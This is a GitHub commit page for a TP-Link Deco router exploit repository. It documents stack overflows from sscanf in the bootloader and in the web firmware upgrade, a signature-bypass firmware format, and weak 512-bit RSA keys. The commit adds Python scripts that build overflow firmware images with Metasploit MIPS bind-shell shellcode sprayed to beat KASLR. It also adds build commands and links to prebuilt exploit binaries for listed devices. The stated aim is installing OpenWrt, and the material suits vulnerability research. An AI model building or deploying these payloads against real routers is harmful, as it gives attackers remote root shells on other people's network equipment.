Skip to content

Commit

Permalink
split into uboot/userspace/3rd_party/rsa
Browse files Browse the repository at this point in the history
  • Loading branch information
naf419 committed Aug 23, 2024
1 parent f002f87 commit d3ae5f7
Show file tree
Hide file tree
Showing 18 changed files with 330 additions and 125 deletions.
29 changes: 29 additions & 0 deletions 3rd_party/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,29 @@
### Firmware format
- Only seen in the tplink deco firmware for Deco S4 V2, tplink allows specially crafted
firmware to bypass the signature check when uploaded to web-ui based firmware update mechanism
- Binary references "nm_upgrade3rdFwupFile" and "3rd Firmware", which I assume means 3rd party?
- No tool written yet (plenty of other bypasses on these devices)

### Firmware description
```
0x0 = size of firmware file (>0x1814)
0x4 = CRC32 of remaining file contents
0x8 = 0xDEADBEEF
0xC = product info section (length 0x40, "product_name:xxx\nproduct_version:x.x.x.x\n")
0x4C = "os-linux"
0x54 = kernel write location in flash (=0x200000)
0x58 = kernel size (0x1000 < x < 0xE00000)
0x60 = kernel location in fw file (=0x14c)
0x64 = kernel size
0x68 = "rootfs"
0x6A = rootfs write location in flash (0x200000 + kernel_len)
0x6E = rootfs size (0x1000 < x < 0xE00000)
0x72 = rootfs location in fw file (kernel_len + 0x14c + 0x01 spacer)
0x76 = rootfs size
0x14C = <kernel data>
0x14C+kernel_len = 0x01 spacer (any value)
0x14C+kernel_len+0x01 = <rootfs data>
```

### Possible Applicable Devices
- Deco S4 V2
64 changes: 17 additions & 47 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,51 +2,21 @@
Bypass firmware signature check that prevents tplink deco devices from loading user-provided firmware (i.e. openwrt)
in a way that doesn't require soldering on a serial console

### Vulnerability
- In tplink deco firmware, a modification was made to uboot to add http upload functionality to support
firmware installation directly from the bootloader as a failsafe procedure
- This modification introduced an unconstrained sscanf reading the "fw-type" field
from the user-provided firmware file into a fixed 256-byte stack buffer
### Methods

### Exploit
- Take control of PC by overflowing stack buffer enough to overwrite return address
- Point new return address to location within user-submitted firmware file to run arbitrary shellcode

### Shellcode
Developed to load a boot image via tftp and execute it from RAM, as if following commands were run from a uboot prompt:
```
setenv serverip 192.168.0.2
setenv ipaddr 192.168.0.1
tftpboot 0x82000000 initramfs-kernel.bin
bootm 0x82000000
```
- [v1_static](v1_static): initial version with hardcoded symbol addresses (now deprecated). required reverse engineering a dump of each individual device/versions bootloader to locate symbol addresses
- [v2_dynamic](v2_dynamic): second version which dynamically searches RAM for required symbols addresses

### Possible Applicable Devices
[According to tplink](https://community.tp-link.com/us/home/kb/detail/490), uboot http recovery is present on the following devices:
- Deco E4
- Deco M4
- Deco P9
- Deco M9 Plus
- Deco X20/X60 V1 (firmware 1.2.5 or later version)
- Deco X20 V1.2 and later version
- Deco X60 V2 and later
- Deco S4

but these devices come in different "versions" which may have completely different hardware and uboot

### Devices With Confirmed Working Exploit
- [Deco S4 v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco S4R(EU) v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco S4 v2.6](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco M4R v1](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco M4R v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco P9 v1.80](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco P9 v2.0](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- Expecting others should work with [dynamic version](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin), [let me know](mailto:[email protected]) if you have tested it with another device/version

### Devices that will *not* work with exploit
- Deco S4 v3.6 (ARM board)
- Deco M9 Plus V1 and V2 (ARM board)
- Deco X20 V3 (different firmware validation code)
## [Bootloader httpd firmware upgrade stack overflow](uboot)
- Deco S4 v2
- Deco S4R(EU) v2
- Deco S4 v2.6
- Deco M4R v1
- Deco M4R v2
- Deco P9 v1.80
- Deco P9 v2.0
- Possibly other older MIPS firmwares
## [Web-based firmware upgrade stack overflow](userspace_fw_upgrade)
- Deco S4 v2
- Deco X20 v3
## [Undocumented 3rd party firmware format](3rd_party)
- Deco S4 v2
## [Small RSA keys](rsa)
- Unknown, probably many deco device types
7 changes: 7 additions & 0 deletions rsa/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,7 @@
### Vulnerability
- According to a published paper (https://www.cs.ucr.edu/~zhiyunq/pub/ccs24_wireless_mesh.pdf), Deco
devices re-use their 512-bit rsa ssh host key as their authorization key also
- 512-bit rsa keys can be cracked in a matter of weeks on commodity hardware
- However, the ssh shell binary only allows port forwarding (no ssh interative session) so this only
increases attack surface but does not allow a direct login
- According to the researchers, port-forwarding to the mesh config distribution "tmpsvr" binary exposes an exploitable vlunerability that can be used to gain RCE, but no exploit is published yet
55 changes: 55 additions & 0 deletions uboot/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
### Vulnerability
- In tplink deco firmware, a modification was made to uboot to add http upload functionality to support
firmware installation directly from the bootloader as a failsafe procedure
- This modification introduced an unconstrained sscanf reading the "fw-type" field
from the user-provided firmware file into a fixed 256-byte stack buffer

### Exploit
- Take control of PC by overflowing stack buffer enough to overwrite return address
- Point new return address to location within user-submitted firmware file to run arbitrary shellcode

### Shellcode
Developed to load a boot image via tftp and execute it from RAM, as if following commands were run from a uboot prompt:
```
setenv serverip 192.168.0.2
setenv ipaddr 192.168.0.1
tftpboot 0x82000000 initramfs-kernel.bin
bootm 0x82000000
```
- dynamically search RAM for required uboot symbols addresses (run_command, NetReceive) so shellcode works on multiple devices with slightly different u-boot builds

### Possible Applicable Devices
[According to tplink](https://community.tp-link.com/us/home/kb/detail/490), uboot http recovery is present on the following devices:
- Deco E4
- Deco M4
- Deco P9
- Deco M9 Plus
- Deco X20/X60 V1 (firmware 1.2.5 or later version)
- Deco X20 V1.2 and later version
- Deco X60 V2 and later
- Deco S4

but these devices come in different "versions" which may have completely different hardware and uboot

### Devices With Confirmed Working Exploit
- [Deco S4 v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco S4R(EU) v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco S4 v2.6](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco M4R v1](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco M4R v2](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco P9 v1.80](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- [Deco P9 v2.0](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin)
- Expecting others should work with [dynamic version](https://github.com/naf419/tplink_deco_exploits/releases/download/v2/deco_all_webfailsafe_faux_fw_tftp_v2.bin), [let me know](mailto:[email protected]) if you have tested it with another device/version

### Devices that will *not* work with exploit
- Deco S4 v3.6 (ARM board)
- Deco M9 Plus V1 and V2 (ARM board)
- Deco X20 V3 (different firmware validation code)

### Building
```
export STAGING_DIR=~/tplink/openwrt/staging_dir/
$STAGING_DIR/toolchain-mips_24kc_gcc-11.3.0_musl/bin/mips-openwrt-linux-musl-as -march mips32r2 shellcode.asm -o shellcode.o
$STAGING_DIR/toolchain-mips_24kc_gcc-11.3.0_musl/bin/mips-openwrt-linux-musl-ld -T shellcode.lk shellcode.o -o shellcode$STAGING_DIR/toolchain-mips_24kc_gcc-11.3.0_musl/bin/mips-openwrt-linux-musl-objcopy -j ".text" -O binary shellcode shellcode.bin
python build_fw.py > deco_all_webfailsafe_faux_fw_tftp.bin
```
File renamed without changes.
Binary file added uboot/deco_all_webfailsafe_faux_fw_tftp_v2.bin
Binary file not shown.
Binary file added uboot/shellcode
Binary file not shown.
File renamed without changes.
Binary file added uboot/shellcode.bin
Binary file not shown.
File renamed without changes.
Binary file added uboot/shellcode.o
Binary file not shown.
26 changes: 26 additions & 0 deletions userspace_fw_upgrade/README.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
### Vulnerability
- In tplink deco firmware, tplink provides a web-ui based firmware update mechanism
that accepts manually specified firmware images
- This code also has unconstrained sscanf reading the "fw-type" field
from the user-provided firmware file into a fixed 256-byte stack buffer

### Exploit
- Take control of PC by overflowing stack buffer enough to overwrite return address
- Point return address into range where kernel could mmap a 16MB file
- Spray the firmware file with shellcode to catch whichever region KASLR selects

### Shellcode
- [bind shell from metasploit](https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/linux/mipsbe/shell_bind_tcp.rb)

### Possible Applicable Devices
- Many TP-Link Deco devices

### Devices With Confirmed Working Exploit
- Deco S4 v2
- Deco X20 v3

### Building
```
python build_fw_mips.py > deco_fw_overflow_bindshell_mips.bin
python build_fw_mipsel.py > deco_fw_overflow_bindshell_mipsel.bin
```
97 changes: 97 additions & 0 deletions userspace_fw_upgrade/build_fw_mips.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,97 @@
import sys
from struct import pack

# shellcode courtesy of metasploit mipsbe/shell_bind_tcp.rb
shellcode = pack(">58I", *[ \
# --- socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
0x27bdffe0, # addiu sp,sp,-32
0x240efffd, # li t6,-3
0x01c02027, # nor a0,t6,zero
0x01c02827, # nor a1,t6,zero
0x2806ffff, # slti a2,zero,-1
0x24021057, # li v0,4183 ( __NR_socket )
0x0101010c, # syscall
# --- bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
0x3050ffff, # andi s0,v0,0xffff
0x240effef, # li t6,-17 ; t6: 0xffffffef
0x01c07027, # nor t6,t6,zero ; t6: 0x10 (16)
0x240dfffd, # li t5,-3 ; t5: -3
0x01a06827, # nor t5,t5,zero ; t5: 0x2
0x01cd6804, # sllv t5,t5,t6 ; t5: 0x00020000
0x240e115c, # li t6,0x115c (port) ; t6: 0x115c (4444 (default LPORT))
0x01ae6825, # or t5,t5,t6 ; t5: 0x0002115c
0xafadffe0, # sw t5,-32(sp)
0xafa0ffe4, # sw zero,-28(sp)
0xafa0ffe8, # sw zero,-24(sp)
0xafa0ffec, # sw zero,-20(sp)
0x02102025, # or a0,s0,s0
0x240effef, # li t6,-17
0x01c03027, # nor a2,t6,zero
0x23a5ffe0, # addi a1,sp,-32
0x24021049, # li v0,4169 ( __NR_bind )A
0x0101010c, # syscall
# --- listen(3, 257) = 0
0x02102025, # or a0,s0,s0
0x24050101, # li a1,257
0x2402104e, # li v0,4174 ( __NR_listen )
0x0101010c, # syscall
# --- accept(3, 0, NULL) = 4
0x02102025, # or a0,s0,s0
0x2805ffff, # slti a1,zero,-1
0x2806ffff, # slti a2,zero,-1
0x24021048, # li v0,4168 ( __NR_accept )
0x0101010c, # syscall
# --- dup2(4, 2) = 2
# --- dup2(4, 1) = 1
# --- dup2(4, 0) = 0
0xafa2ffff, # sw v0,-1(sp) # socket
0x2411fffd, # li s1,-3
0x02208827, # nor s1,s1,zero
0x8fa4ffff, # lw a0,-1(sp)
0x02202821, # move a1,s1 # dup2_loop
0x24020fdf, # li v0,4063 ( __NR_dup2 )
0x0101010c, # syscall 0x40404
0x2410ffff, # li s0,-1
0x2231ffff, # addi s1,s1,-1
0x1630fffa, # bne s1,s0 <dup2_loop>
# --- execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
0x2806ffff, # slti a2,zero,-1
0x3c0f2f2f, # lui t7,0x2f2f "//"
0x35ef6269, # ori t7,t7,0x6269 "bi"
0xafafffec, # sw t7,-20(sp)
0x3c0e6e2f, # lui t6,0x6e2f "n/"
0x35ce7368, # ori t6,t6,0x7368 "sh"
0xafaefff0, # sw t6,-16(sp)
0xafa0fff4, # sw zero,-12(sp)
0x27a4ffec, # addiu a0,sp,-20
0xafa4fff8, # sw a0,-8(sp)
0xafa0fffc, # sw zero,-4(sp)
0x27a5fff8, # addiu a1,sp,-8
0x24020fab, # li v0,4011 ( __NR_execve )
0x0101010c # syscall 0x40404
])

#pad to len 0x1000
shellcode += b"\x00"*(0x1000-len(shellcode))

crap = "JUST DOING SOME SSCANF STACK SMASHING NOTHING TO SEE HERE"

header = pack('>I', 0x00FF0000) # filesize
header += b'\xff'*16 # md5 (ignored)
header += b"fw-type:" #
header += b'x'*4 + crap.encode() # important stupid crap for posterity
header += b'x'*(256-len(crap)-4) # fill stack $SP-0x108 to $SP-8
header += b"S8xx" # [$SP-8] = stored s8, ignore
header += pack('>I', 0x7701ff00) # [$SP-4] = stored ra, point towards somewhere
# in middle of KASLR'd mmap addresses
# NOTE: 00 in address LSB stops scanf to leave
# [$SP+0] (copy of arg0 *buffer) untouched

#pad to len 0x1000
header += b"\x00"*(0x1000-len(header))

fw = header
for i in range(0xff0000//0x1000-1):
fw += shellcode

sys.stdout.buffer.write(fw)
99 changes: 99 additions & 0 deletions userspace_fw_upgrade/build_fw_mipsel.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
import sys
from struct import pack

# shellcode courtesy of metasploit mipsle/shell_bind_tcp.rb
shellcode = pack("<58I", *[ \
# --- socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3
0x27bdffe0, # addiu sp,sp,-32
0x240efffd, # li t6,-3
0x01c02027, # nor a0,t6,zero
0x01c02827, # nor a1,t6,zero
0x2806ffff, # slti a2,zero,-1
0x24021057, # li v0,4183 ( __NR_socket )
0x0101010c, # syscall
# --- bind(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("0.0.0.0")}, 16) = 0
0x3050ffff, # andi s0,v0,0xffff
0x240effef, # li t6,-17 ; t6: 0xffffffef
0x01c07027, # nor t6,t6,zero ; t6: 0x10 (16)
0x240d5c11, # li t5,0x115c (port) ; t5: 0x5c11 (0x115c == 4444 (default LPORT))
0x01cd6804, # sllv t5,t5,t6 ; t5: 0x5c110000
0x240efffd, # li t6,-3 ; t6: -3
0x01c07027, # nor t6,t6,zero ; t6: 0x2
0x01ae6825, # or t5,t5,t6 ; t5: 0x5c110002
0xafadffe0, # sw t5,-32(sp)
0xafa0ffe4, # sw zero,-28(sp)
0xafa0ffe8, # sw zero,-24(sp)
0xafa0ffec, # sw zero,-20(sp)
0x02102025, # or a0,s0,s0
0x240effef, # li t6,-17
0x01c03027, # nor a2,t6,zero
0x23a5ffe0, # addi a1,sp,-32
0x24021049, # li v0,4169 ( __NR_bind )A
0x0101010c, # syscall
# --- listen(3, 257) = 0
0x02102025, # or a0,s0,s0
0x24050101, # li a1,257
0x2402104e, # li v0,4174 ( __NR_listen )
0x0101010c, # syscall
# --- accept(3, 0, NULL) = 4
0x02102025, # or a0,s0,s0
0x2805ffff, # slti a1,zero,-1
0x2806ffff, # slti a2,zero,-1
0x24021048, # li v0,4168 ( __NR_accept )
0x0101010c, # syscall
# --- dup2(4, 2) = 2
# --- dup2(4, 1) = 1
# --- dup2(4, 0) = 0
0xafa2ffff, # sw v0,-1(sp) # socket
0x2411fffd, # li s1,-3
0x02208827, # nor s1,s1,zero
0x8fa4ffff, # lw a0,-1(sp)
0x02202821, # move a1,s1 # dup2_loop
0x24020fdf, # li v0,4063 ( __NR_dup2 )
0x0101010c, # syscall 0x40404
0x2410ffff, # li s0,-1
0x2231ffff, # addi s1,s1,-1
0x1630fffa, # bne s1,s0 <dup2_loop>
# --- execve("//bin/sh", ["//bin/sh"], [/* 0 vars */]) = 0
0x2806ffff, # slti a2,zero,-1
0x3c0f6962, # lui t7,0x2f2f "bi"
0x35ef2f2f, # ori t7,t7,0x6269 "//"
0xafafffec, # sw t7,-20(sp)
0x3c0e6873, # lui t6,0x6e2f "sh"
0x35ce2f6e, # ori t6,t6,0x7368 "n/"
0xafaefff0, # sw t6,-16(sp)
0xafa0fff4, # sw zero,-12(sp)
0x27a4ffec, # addiu a0,sp,-20
0xafa4fff8, # sw a0,-8(sp)
0xafa0fffc, # sw zero,-4(sp)
0x27a5fff8, # addiu a1,sp,-8
0x24020fab, # li v0,4011 ( __NR_execve )
0x0101010c # syscall 0x40404
])

#pad to len 0x1000
shellcode += b"\x00"*(0x1000-len(shellcode))

crap = "JUST DOING SOME SSCANF STACK SMASHING NOTHING TO SEE HERE"

header = pack('>I', 0x00FF0000) # filesize
header += b'\xff'*16 # md5 (ignored)
header += b"fw-type:" #
header += b'x'*4 + crap.encode() # important stupid crap for posterity
header += b'x'*(256-len(crap)-4) # fill stack $SP-0x10C to $SP-0xC
header += b"PADx" # [$SP-0xC] = stack alignment padding, ignore
header += b"S8xx" # [$SP-8] = stored s8, ignore
header += pack('<I', 0x7701fff0) # [$SP-4] = stored ra, point towards somewhere
# in middle of KASLR'd mmap addresses
# NOTE: 77 in address MSB lets scanf overwrite
# first byte of [$SP+0] (copy of arg0 *buffer)
# with 0x00, OK since this is LSB of mmap'd ptr

#pad to len 0x1000
header += b"\x00"*(0x1000-len(header))

fw = header
for i in range(0xff0000//0x1000-1):
fw += shellcode

sys.stdout.buffer.write(fw)
7 changes: 0 additions & 7 deletions v1_static/README.md

This file was deleted.

Loading

0 comments on commit d3ae5f7

Please sign in to comment.